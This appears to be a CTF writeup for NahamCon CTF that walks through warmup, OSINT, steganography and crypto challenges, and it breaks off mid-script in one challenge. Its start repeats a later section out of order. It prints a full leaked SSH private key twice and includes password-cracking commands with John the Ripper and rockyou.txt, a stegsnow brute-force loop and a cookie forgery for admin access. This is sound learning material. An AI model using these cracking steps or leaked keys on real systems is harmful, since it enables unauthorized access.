```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents
* [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup
## Read The RulesPlease follow the rules for this CTF!
Connect here:https://ctf.nahamcon.com/rules
**flag{we_hope_you_enjoy_the_game}**
**Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes:
## CLIsaycowsay is hiding something from us!
Download the file below.
[clisay](assets//files/clisay)
**flag{Y0u_c4n_r3Ad_M1nd5}**
**Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get:
well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag:
notice that you need to append the two parts of the flag together (the strings after and before the ascii art).
**Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format
## MetamemeHacker memes. So meta.
Download the file below.
[hackermeme.jpg](assets//images//hackermeme.jpg)
**flag{N0t_7h3_4cTuaL_Cr3At0r}**
**Solution:** With the challenge we get this image:
We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag:
**Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool
## Mr. RobotElliot needs your help. You know what to do.
Connect here:\http://jh2i.com:50032
**flag{welcome_to_robots.txt}**
**Solution:** With the challenge we get a url to a website:
There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag:
**Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en
## UGGCBecome the admin!
Connect here:\http://jh2i.com:50018
**flag{H4cK_aLL_7H3_C0okI3s}**
**Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page:
By the description we know that we need to login as admin, but if we try using admin as our username we get the following:
But we can login with any other username:
If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser:
we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that:
now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag:
**Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: https://gchq.github.io/CyberChef/
## Easy KeesyDang it, not again...
Download the file below.
[easy_keesy](assets//files//easy_keesy)
**flag{jtr_found_the_keys_to_kingdom}**
**Solution:** With the challenge we get a file with an unknown format, we can use the file command to see that the file is a KeePass database:
This type of files are databases used to keep passwords on the computer 'safely', there are many password managers to view this kind of files but I used KeeWeb for this challenge mostly because it is a web tool, if we try to open the file with it we can quickly notice that we don't have the password for doing that, furthermore there aren't any mentions of a password in the file or in the description of the challenge, so it seems we need to bruteforce for the password.\Passwords are commonly saved as hashes, hashes are data created using cryptographic hash functions which are one way functions (easy to find an hash for a password, hard to find a password for the hash) who are also able to return a value with a fixed length to any file with any size, a simple example for an hash function is the algorithm shown in the December challenge with the slight modification that only the last block of the cipher is returned, hashes are great because it is easy to validate a value using them as you can just as hash the value using the hash function and compare the hashes, but, it is hard to get the value from an hash.\In the case of a KeePass database file, the password for the database, which is called a master password, is saved as an hash in the file in order for a password manager to verify it, this is not a smart idea to save the password locally like that but it's good for us.\To find the password I used a dictionary attack, this type of attack uses a known database in order to find the right data, in the case of password cracking we use a database of passwords, preferably ordered by most frequently used to least frequently used, we will hash each password and compare it to the hash we have until we'll find a password with the same one, this does not guarantee that we found the correct password (an hash collision can occur) but most probably it will find the correct one, the dictionary I used is called rockyou.txt which lists common passwords. for executing the attack I used John the Ripper, a great tool for cracking hashes using a dictionary, I first converted the file to something john can use and then used john with rockyou.txt to crack the password by executing the following commands:
```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
